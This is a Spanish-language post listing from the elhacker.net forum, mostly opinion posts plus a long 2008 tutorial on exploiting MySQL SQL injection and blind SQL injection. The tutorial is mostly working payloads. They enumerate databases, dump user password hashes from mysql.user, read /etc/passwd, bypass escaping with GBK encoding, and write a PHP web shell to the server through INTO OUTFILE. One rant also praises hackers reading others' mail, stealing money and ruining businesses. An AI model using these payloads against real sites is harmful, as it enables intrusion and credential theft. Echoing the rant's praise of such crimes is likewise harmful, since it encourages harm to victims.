elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: 1 [2] 3
11  Foros Generales / Foro Libre / Por que la humanidad odia a los hackers? en: 27 Octubre 2014, 13:57 pm
Como sabrán, estos pequeños niños en sus casas, amenazando la seguridad con un par de ordenadores esta en el ojo de huracan de innumerables organizaciones y empresas, asi también gobiernos y particulares, se lleva a cabo la desinformacion y el interes a personas con altas capacidades tecnicas y tecnológicas, segun se sabe son algo parecidos a personas con problemas mentales o complejidades como el autistmo, segun ellos o el resto, son poco menos que un humano, bueno ustedes sabran que la verdad es todo lo contrario y que han logrado a lo largo de sus cortas carreras poner en jaque la paz mundial, unos cuentas centenas de bytes son suficiente para hacer quebrar a cualquier empresa o organizacion, ahora veamos el lado opuesto de la cosa y notamos que se ha llevado a cabo una siniestra guerra en "las sombras" nada mas y nada menos que por el poder y el dinero, remarcando a empresas y organizaciones, estas con sus grandes maquinas de propaganda y campañas virales pueden lograr hacer girar la atención como quien dice a unos pequeños jugadores .. no lo han notado pero hablamos del copyright y sus hartos derechos, no hay nada raro en todo esto, la mejor empresa debe ser recompensada y reconocida por los largos aportes que a los particulares a proporcionan, pero si esto se lleva demasiado lejos como lo es el sistema de gobierno-capitalismo no hay barras de contención, cualquiera puede llevar su cosa hasta las ultimas consecuencias, no hay rastro de moral o actitud en esto, bienvenido a la carrera de ratas, muchos ejemplos claves se pueden encontrar por ahi, desde productos para uso diario, películas o hollywood, si piensas bien somos mas bien un producto-objeto un poco mas que comerciable, como se refieren por ahi somos una pila alimentando lo opresivo de un gobierno y aceptando la ideologia que no queremos, la gente se pasa horas llevando una vida falsa, de creencias falsas, de vidas falsas, de cosas que no tendran .. y 'ellos' fabricaran la ilusion y la adornaran y la pondran a rodar aunque sea lo ultimo que hagan .. desde tu ciudad-manzana-pais hasta la organización mundial. somos seres falsos.

Bueno pero lo que no se puede comerciar es conocimiento, desde hace mucho tiempo la información, lo relevante y lo secreto del conocimiento ha pasado de generaciones en manos de organizaciones, nunca esta a la vista de todo el mundo ni en los registros publicos, vive en secreto y no tiene interes de conocer que sucede en la vida real, bueno asi que si odias a los hackers estas en problemas, si tu quieres pagar por cada cosa en tu vida pues puedes seguir tu vida, si no quieres tener que pagar por respirar aire o estar preso, pues derroca a todos los tontos que mantienen su marca a las cosas que no tienen dueño, si quieres inyectarte drogas marca apple de seguro tienes problemas, no hay nada que justifique a los hackers como criminales, desde el p2p hasta la pirateada de cine.

Si observamo este ejemplo veremos hasta donde puede ir la cosa.

Escuchas un cd de música, tal vez creas que es tu banda favorita, luego de pensarlo un poco creo que te has convenido, pero tuviste que pagar un precio por ella, o tal vez no, quizas lo pirateaste, quien sabe, pero ahora perteneces a una "secta", tienes amigos hiperreales en vidas virtuales hiperreales con consecuencias nefastas, eres objeto y blanco de incontables mercados con una agenda clara, tienes millones de correos en tu buzon, aunque no quieras tener que aguantartelo pagaras un precio. No se puede escapar del dinero. Asi que piensalo, si te odian, o ves que alguien odia un hackers intenta preguntarte a ti mismo cuales son sus compañeros de viaje .. vale la pena o no? tiene sentido pagar el precio mas alto? es saludable ir preso 15 años por escuchar música? esta bien participar de una película de terror afuera de tu casa y ver como actuas en ella 24/7 como si participaras?


Tienen un resentimiento patologico por que leen sus mails, robas su novia, quiebras su negocio, robas información, te transfieres dinero, no tienes rivales, es una barrera infranqueable de conocimiento .. pues ahora eres libre!!. No eres un autisma, eres un dios  y como tal no los escuches!. Esto que no es de menor amenaza es una guerra y es una guerra que se puede ganar.


Escucha le arruinas el negocio!!


La mayoría de jugadores poderosos del mundo tienen alrededor de 60 años y dinero, no son genios.
12  Foros Generales / Foro Libre / Stephen hawking: Los agujeros negros no existen en: 25 Octubre 2014, 03:17 am
Stephen hawking ha declarado públicamente que los agujeros negros no existen. Estas personas son "lo más inteligente de la tierra"? ¿Qué opinan?
13  Seguridad Informática / Nivel Web / Xss injection & sql injection pequeña duda. en: 12 Septiembre 2014, 03:39 am
Algún string váĺida, con estos carácteres? a-z A-Z 0-9 '!+
14  Seguridad Informática / Bugs y Exploits / Ayuda, bug exploit en: 9 Septiembre 2014, 05:18 am
Bueno, les cuento, tengo un bug que verifica dos cuentas con un email en Facebook, el problema es que hacer?
15  Foros Generales / Sugerencias y dudas sobre el Foro / Propuesta tema en: 1 Septiembre 2014, 21:03 pm
Bueno, a toda la comunidad de elhacker.net les o propongo, un nuevo sistema de mensajes/respuestas optimizado, lo que contaremos aquí es como tratar a la información para la mejor dispocición, (¿disponibilidad?) del foro, lo que os contare se tratara de puntuar.
Hay que implementar un método/sistema para puntuar las respuestas en el foro, como 5 estrellas y el porcentaje en votos, así llamaremos a las respuestas mas optimizadas para las preguntas más relevantes, digamos que no hace falta llenar la base de datos con .. (estupideces?) , no lo implementaremos en todo el foro, pero si en algúnos de ELLOS, como Hacking General/Hacking avanzado. así los visitantes se llevaran: la mejor información calificada evitando las respuestas desvirtuadas o el mismísimo spam.

Atte.
16  Seguridad Informática / Desafíos - Wargames / El reto para hackers del fin del mundo - Cicada 3301 en: 1 Septiembre 2014, 07:44 am
Para los curiosos y valientes se nos presenta un reto único. este reto más alla de ser algo técnico se ofrece como un viaje espiritual y místico. Todo lo relacionado a lo esotérico aquí entra, podremos decir que pocos son los elegidos, bueno es una competencia por nada más ni nada menos que el poder y el conocimiento, el destino de nuestra alma esta en juego, no se requiere mucho, pero si una mente analítica, compleja y racional. El premio aunque desconocido pretende ser como ningún otro, un tesoro invaluable y la posibilidad de también ser uno de los mejores del mundo. Me pregunto, ¿estas a la altua del reto? ¿eres uno de las personas más inteligentes? ¿eres tu uno de los que van a salvarse?, dejemos las tonterias de lado, este reto es algo serio, pues si crees poder resolverlo bien entra!, si cress que es una tontería para nerd, geek pues resuelvelo, nada más podremos decir por aquí.



Todo surgio hace algúnos años .. una misteriosa imágen aparecío en un tablón de internet muy reconocido, un reto complejo estaba propuesto, desde entonces muchas especulaciones y curiosidades giraron en torno al tema, si existen los resolvedores aún se desconoce, pero si es algo extraño y complejo: es aparentemente un reto para criptógrafos (aunque muchos lo han intentado). En los últimos años, las misterosas imágenes han seguido apareciendo;Muchas teorías especulan que se trata de una sociedad secreta o la NSA misma en busca de reclutas talentosos, nada esta claro, lo que si sabemos es que ha sido prohibido en algunos países y por tratarse de una organización presuntamente siniestra con fines malévolos como el terrorismo, la extorsión, el secuestro, la piratería.


la primera imágen en cuestión es esta:





fue publicada en twitter y el primer analisis forense de la misma ha exhibido algunos metadatos y cadenas hexadecimales con una dirección TOR, algúnas pistas falsas también se implementan, pero han logrado alcanzar por así decirlo, el nivel dos.


Este reto se llama



cicada 3301



Los interesados en el en cuestión dirigirse a una web de resolvers:

uncovering- cicada.wikia.com
uncovering- cicada.wikia.com
uncovering- cicada.wikia.com
uncovering- cicada.wikia.com
uncovering- cicada.wikia.com


El reto todavía sigue vigente.



* http://en.wikipedia.org/wiki/Cicada_3301
* http://www.minutouno.com/notas/310007-cicada-3301-el-misterioso-acertijo-que-solo-hackers -pueden-descifrar
* http://www.telegraph.co.uk/technology/internet/10468112/The-internet-mystery-that-has-the -world-baffled.html
* http://www.taringa.net/posts/offtopic/17377614/Cicada-3301-estas-a-la-altura-del-reto.html

-----------------------------------------

Bueno yo estoy interesado, si alguién más lo considera podría contactarme.
17  Foros Generales / Foro Libre / "Si tanto le interesa África, piérdase allí y déjenos a nosotros en paz" en: 28 Mayo 2012, 03:53 am
Que opinan de lo que esta sucediendo en Grecia? no se si alguno de ustedes se entero lo que dijo la directora del FMI ("me importa más las familias del África" en medio del conflicto ..) donde muchos indignados dijieron "Si tanto le interesa África, piérdase allí y déjenos a nosotros en paz", "Si no pagamos es por que no  hay plata", que opinan que hable esta persona perteneciendo al club de los super-ricos millonarios? de capitalistas sin alma? tipos religiosos falsos? o Bono de U2 hablar del hambre y siendo parte del club de los millonarios?

en fín lo sintetizo a charlar sobre las siguientes noticias:

Increíbles palabras de Neil Armstrong .. Protesta contra el Papa por la desaparición de Emanuela Orlandi, se ha quedado en silencio .. (se esta creando una nueva babèl expreso ..) .. El cardenal Carlo Maria Martini dice "también Jesús fue traicionado y vendido y que ahora el Papa ha sido víctima de una acción malvada" .. Miiles de Griegos indignados con las palabras de la directora para que paguenlos impuestos y que le interesa màs las familias del África, algunos de ellos expreso: "Si tanto le interesa África, piérdase allí y déjenos a nosotros en paz", "Si no pagamos es por que no hay plata"
18  Seguridad Informática / Nivel Web / Gran tutorial sobre inyecciones sql en MySQL en: 5 Diciembre 2008, 00:28 am
+--------------------------------------------------------+
|                                                                   |
|      SQL injection && Blind Sql Injection      |
|                                                                   |
|                   Escrito por l0ve              |
|                                                                   |
+--------------------------------------------------------+

¿Qué es sql injection?

"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la
base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las
partes del programa con código SQL. Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté
incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro
código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código
"invasor" en la base de datos."

Fuente:
http://es.wikipedia.org/wiki/Inyección_SQL

¿Qué vamos a ver?

Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web con bases de datos MySQL version 4.x o 5.x ..

aclaración: Algunas cosas explicadas acá puede ser que no funcionen en otras base de datos ya que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc ..

Antes de empezar vamos a repasar algunas cosas básicas:

? enlaza la URL con los parámetros.
& delimita donde termina un parámetro y donde comienza el otro.
= asigna el valor.

Recuerda bien ;).

Empecemos ...

Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php"


¿Cómo reconocer una vulnerabilidad sql?

Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ` (``%27``) al
final de la URL:

http://localhost/print.php?id=332`

también con:

- paréntesis ")"
- "comentarios" como ``/*`` , ``--`` o "#"
- palabras del lenguaje sql como "select,order by" etc ..

Ejemplos:

http://localhost/print.php?id=12) --
http://localhost/print.php?id=12)) --
http://localhost/print.php?id=12 `--
http://localhost/print.php?id=12 `) --
http://localhost/print.php?id=12 `)) --

veamos:





el tema con los "comentarios" es que puede ser que con un tipo de comentario funcione y con el otro no .. por ejemplo:

Con /*:




Con --:





además de los ejemplos anteriores se pueden usar "operadores lógicos" ..

ejemplo:

http://localhost/print.php?id=1 and 1=1

Y luego:
                                       
http://localhost/print.php?id=1 and 1=2

vemos que al hacer la primera inyección la pagina se imprime normalmente ... pero al inyectar lo
segundo vemos que se devuelve modificada (a veces vacía o falta algún contenido, se notara la diferencia).
Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL
syntax; check the manual that " o algo parecido .. sabemos que es vulnerable a
sql injection.








No solo se puede usar "AND" existen otros operadores lógicos:

1 && 1 //Representa el AND
1 || 1 //Representa el OR
1 XOR 0 //Retorna null si alguno de ellos es null
! //Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0.


Explorando la base de datos

Vamos a averiguar el numero de columnas ...

¿Cómo hacemos eso? ¡Fácil!, usamos el `order by` e iremos incrementando o viceversa según los
resultados veamos.

http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error
http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error
...
http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 17/* <-------- error

Cuando hay un error nos mostrara algo así:

"Unknown column `17` in `order clause"

Como podemos ver hay 16 columnas.








Pero hay veces que esto no es posible y tendremos que usar UNIÓN
(Sentencia UNIÓN:
Se usa
para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.)

http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algún contenido pero
sabremos que la unión funciona .. también podemos hacer:

union all select 1/*
union all select 1,2/*
union all select 1,2,3/*
..
y así sucesivamente hasta encontrar la cantidad de columnas.


Saber la versión de mysql y entre otros datos útiles

Bueno ahora analicemos la inyección de más arriba ..

http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Como pueden ver no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar cualquier numero.


Lo que hay que hacer ahora es reemplazar alguno de esos números por inyecciones que nos pueden dar algunos datos del servidor (estos números corresponde a una columna de la tabla).

Versión:

http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/
*

(se pude usar @@version o version())

Ejemplo:




(se pude usar @@version o version())

Tendrás algo como "4.1.20-log"

Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename.

Es importante saber la versión de MySQL ya que podría facilitarnos la inyección ..

version() Devuelve la versión del servidor MySQL.
database() Devuelve el nombre de la base de datos actual.
current_user() Devuelve el nombre de usuario y el del host para el que está autentificada la
conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de
acceso. Puede ser diferente del valor de USER().
last_insert_id() Devuelve el último valor generado automáticamente que fue insertado en una
columna AUTO_INCREMENT.
connection_id() Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.
@@datadir directorio de la db.

un problema frecuente .. ¿Por qué me dice que es ilegal, implícita etc ..?

ok .. para evitarlo se hace de la siguiente forma:

con la función convert().

http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using
latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

con hex() y unhex():

http://localhost/print.php?id=-1+union+all+select
1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

aes_encrypt & aes_decrypt

http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,aes_decrypt(aes_encrypt(user,1),1),5+from+mysql.user--

COMPRESS , UNCOMPRESS

http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,UNCOMPRESS(COMPRESS(user)),5+from+mysql.user--


Bueno hasta acá ya tenemos bastantes datos interesantes sobre el servidor y ademas sabemos si es vulnerable o no .. sigamos.


Algunas veces nos podemos encontrar con filtros que nos lian las inyecciones, pero hay varias forma de "saltarlos" por ejemplo:


http://localhost/print.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

http://localhost/print.php?id=-1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*




Obteniendo tabla,nombre de columna y otros datos

Vamos a ver como hacer al tener una versión 5 de MySQL:

Para tener una lista de los privilegios podemos hacer:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

hay algo nuevo y es CONCAT (concat une datos dentro de una consulta sql).
Con esto nos ahorraríamos de hacer inyecciones ..

si algún dato no existe en la base de datos "concat" produce un error .. y si no hay contenido larga NULL.

pero todo sale muy junto? ..¿Cómo podemos evitar esto?

Podemos pasar algún carácter a hexadecimal o usando char() (pasando el valor a ascii).

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Vemos que 0x3a es un valor en hex y representa ":"

Entonces obtendremos algo así:

``primerdato:segundodato`` y no ``primerdatosegundodato``

Y así con cualquier carácter por ejemplo "=" en hexa (0x3D) Obtendríamos:

``primerdato=segundodato``

Y en ascii:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8,
9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Ejemplo:




y ..




Como podemos ver en la segunda imagen aparece unos : (dos puntos)

o con char():




como podemos ver lo separamos con ^.

Nota: Para saber los valores ascii: http://www.ascii.cl/es/

o Sencillo script en perl para pasar una cadena de caracteres a HEX:

Código:
print "Enter string to encode:";
$str=<STDIN>;chomp $str;
$enc = encode($str); print "Hex Encoded value: 0x$enc\n";
sub encode{ #Sub to encode
@subvar=@_;
my $sqlstr =$subvar[0];
@ASCII = unpack("C*", $sqlstr);
foreach $line (@ASCII) {
$encoded = sprintf(`%lx`,$line);
$encoded_command .= $encoded;
}
return $encoded_command;
}

Tambien podemos usar concat_ws() (concat_ws() que utiliza el primer argumento para separar el resto:




o aprovechar los numeros que devuelve la página para poner en ellos algo diferente por ejemplo:




como ven muestra la base de datos,la tabla y la columna.

en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna.



Bueno seguimos ..

otras formas para obtener una lista de privilegios:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri
v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P
rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv,
0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe
cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m
ysql.user--

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10,
11,12,13,14,15,16+FROM+information_schema.schema_privileges--
http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg
e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges--

una lista sobre las base de datos:

http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s
chema.schemata--

http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db--

una lista de columnas:

http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+information_schema.columns--

También se puede leer algún archivo local como "/etc/passwd":

http://localhost/print.php?id=-1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1
6--

El /etc/passwd esta en hex.

Ejemplo:




o obtener un user y pass de la db para poder acceder remotamente a ella:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+mysql.user--

Ejemplo:




nos imprimio el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el
hash (pueden usar john the ripper etc ..) y controlar si esta abierto el puerto 3306.

Ejemplo:




y podernos conectar remotamente:




buscando cosas interesantes:





Nota: se puede usar cualquier cliente mysql en este caso uso la c99.


Una forma para intentar buscar nombres de columnas:

Buscando algún nombre de tabla .. en este caso largo auth ..

http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from
information_schema.tables where table_schema = database()

Pasando valor a ascii y buscando ..

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char()

Pasar en ascii "%a%" quedando:

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char(37,97,37)

En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii.
Y ahí te larga palabras y luego obtener datos :)

Sacando demàs tablas,columnas etc .. de la base:

Bueno hay algunas veces que al hacer una inyeccion y hacer algo asi:

-1 union all select table_name from information_schema.tables

obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no ..

por ejemplo:




Como podemos ver tira todas las tablas .. en cambio en esta no:





Asi que para ver la siguiente tabla usaremos limit al final de la url ejemplo:

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1--

Ejemplo:




como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit ..

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1--
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1--
..
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1--

etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos
al menos que evitemos lo que no queremos ver :P ejemplo ..

en mysql existen 2 base de datos una se llama information_schema  y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas)

pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo asi:

1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100,1--

como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas.

aparte de usar limit podriamos usar group_concat() lo que haria es largar nombres de tabla pero no todas ejemplo:




y para evitar el tema de que aparezca todo junto podriamos hacer algo asi:




como podemos ver puse: 0x3C62723E que seria un salto de linea en html osea <br>.


TUTORIAL DE PonyMagic

  • Como muchos saben, con Group_concat(), el límite es de unos 250 caracteres, por eso al printear un concateo relativamente grande "se corta" hoy les voy a mostrar 2 formas para estirar esos 250 caracteres, una muy simple, y la otra... masomenos :P
  • El 1er Semitip` que tengo, es que cuando usen Group_concat(), realizen un cast() al objeto y lo hagan una variable CHAR. con esto aumentamos la cantidad de caracteres a 1024 que es el seteado group_concat_max_len (inmodificable desde una inejct) . También, para los que setean el delimitador dentro del group, les recomiendo replazar "," por "<br>" luego con replace(). Sino, estamos gastando esos valiosos 1024chars, esto es lo máximo que sacaremos de un solo select con group_concat:
Código:
 Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)

  • hasta ahí vamos a poder llegar con group_concat, pero también voy a "enseñar" una forma para realizar un "limit casero" en el concateo :) supongamos que tenemos esta inject:
Código:
 id=1 and 1=2 union select 1,2,3,4--

 
  • lo 1ro que vamos a hacer, es un select pidiendo las tablas a information_schema.
Código:
id=1 and 1=2 union select 1,(
Select
Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)
from information_schema.tables
),3,4--



  • Lo que nos devolvería los 1ros 1024chars del concateo. Ahora con este "limit casero" vamos a crear una query que pida los siguientes 1024 caracteres. Para eso vamos a usar la funcion INSTR()
Código:
id=1 and 1=2 union select 1,(
Select
Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)
from information_schema.tables

Where

INSTR(
(Select Group_concat(Cast(Table_Name AS CHAR)) from information_schema.tables),
Table_Name
) = 0

),3,4--


  • Con esto ya tenemos 3072 chars, algo asi como ... 205 resultados ( si fueran de al rededor de 15chars c/u ) en solo 3 consultas. sino, tendríamos que haber realizado 205 consultas modificando el limit de 1 en 1...
  • Bueno, por ahora solo eso, porximamente talvez haga algo en JS que edite el link y eso para tener una inject modelo con un botoncito siguiente =P
FIN TUTO (Gracias por esta info, de verdad muy valiosa.)

Link blog PonyMagic: http://ponymagic.diosdelared.com



En versiones MySQL 4 o sin permiso para information_schema la unica forma de obtener tablas y columnas es adivinándolas ..

por ejemplo:

http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from admin--  > error

http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from adm--    > error

http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from administrador--  > válido

y de la misma forma para columnas:

http://localhost/print.php?id=-1 union all select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from administrador--  > error

http://localhost/print.php?id=-1 union all select 1,pwd,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from administrador--  > error

http://localhost/print.php?id=-1 union all select 1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from administrador--  > válido



¿Para qué podría servir todo esto?

Desde leer archivos de configuraciones, archivos en si, etc .. solo es
cuestión de imaginación como por ejemplo obtener una shell del servidor haciendo algo como:

UNION SELECT "<? system($_REQUEST[`cmd`]); ?>",2,3,4 INTO OUTFILE
"/var/www/html/mishell.php" --

por ejemplo: (Una vez echa la inyeccion)




y usando la shell:



Lo que estaríamos haciendo es metiendo el contenido de un script en php y guardándolo en alguna parte
del servidor.

si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo:

apache:x:48:48:Apache:/var/www:/sbin/nologin

en el httpd.conf:

/etc/httpd/conf/httpd.conf

(la ruta varia)

viendo el code de alguna web del servidor .. como index.php,noticias.php o cualquiera.

o usar alguna tecnica como Full Path Disclosure:

http://www.owasp.org/index.php/Full_Path_Disclosure

Para hacer esto y algunas inyecciones más,necesitamos saltarnos las magic_quotes que son las que no
nos dejan hacer nuestras inyecciones con eficiencia :P para eso existen algunas formas ..

Como el "double encoding" bastante interesante y leer

(http://www.owasp.org/index.php/Double_Encoding)

hex encoding

para saltar filtros como las magic_quotes leer sobre "SQL Smuggling".

También como he leído por ahí .. podríamos saltar algunos de los filtros que posee PHP veamos:
-------------------------------------------------------
(MySQL 4.1.x o posterior: 4.1.20 y 5.0.x)
bypass a addslashes() con codificaciòn GBK
WHERE x = 0xbf27admin 0xbf27
-------------------------------------------------------
bypass mysql_real_escape_string() con BIG5 o GBK
se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion
pero es posible saltarse el mysql_real_escape() de esta forma.
aparte de ser caracteres chinos es BIG5 :P
-------------------------------------------------------
Vectores avanzados:

Usando HEX para bypassear una consulta:

Consulta normal:

SELECT * FROM login WHERE user = `root`

Bypass:

SELECT * FROM login WHERE user = 0x726F6F74

Insertando nuevo usuario en SQL.


Consulta Normal:
insert into login set user = ‘root’, pass = ‘root’

Bypass:

insert into login set user = 0×726F6F74, pass = 0×726F6F74
--------------------------------------------------------
Como determinar el HEX? bueno se puede usar el programita de perl màs arriba o simplemente haciendo
algo como:

SELECT HEX(`root`);
obtendremos algo como:
726F6F74
y luego le agregamos:
0x
quedaría: 0×726F6F74

Tambien hace poco me encontre un articulo interesante del amigo xianur0 :P:

http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html

seria bueno que lo lean.

Para ver si las magic_quotes estan activadas simplemente agreguen una ` (comilla siemple) si aparece algo asi:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near `\`` at line 1

es que no es posible por que aparece una barra invertida provocando un error en la base de datos ..

pero si aparece algo asi:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ``` at line 1

sabremos que no pasa nada con la comilla simple y tendremos màs posibilidades .. y inyecciones no tan complejas  ademàs de poder actualizar datos,borrar etc ..

Ahora blind sql injection

es un poco más liado .. pero aquí va:

Sabiendo si es vulnerable a Bsql

Tenemos que saber esto:

http://localhost/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero.
http://localhost/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso.

Nota: Recordarlo siempre.

Si luego de probar http://localhost/print.php?id=-1 and 1 = 2 no regreso algo de la pagina, un texto o
etc sabemos que es vulnerable a bsql.
                                             
Sabiendo la versión de mysql:

http://localhost/print.php?id=-1 and substring(@@versión,1,1)=4 <--- si nos larga la pagina normal
(si es verdadero) sera versión 4.

http://localhost/print.php?id=-1 and substring(@@versión,1,1)=5 <--- si nos larga la pagina normal
(si es verdadero) sera versión 5.

Podemos usar select pero si tenemos problemas podremos usar subselect.

http://localhost/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1

Si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor
como /etc/password y etc ... usando load_file() y outfile.

Buscando nombre de tabla y columna

Puede ser difícil y con ganas de cagarte en muchas cosas xD.

Adivinando la tabla:

Hacemos esto:

http://localhost/print.php?id=-1 and (select 1 from members limit 0,1)=1

Nota: con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es
importante. RECODARLO

Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es así
tendremos que seguir adivinando.

Ahora la columna:

http://localhost/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit
0,1)=1

Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */

Extrayendo datos

Supongamos que ya tenemos nombre de la columna y la tabla:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>80

El 80 es un carácter en ascii si nos da falso tenemos que aumentar hasta que de verdadero.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>95

Da falso así que incrementamos.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>95
http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>98

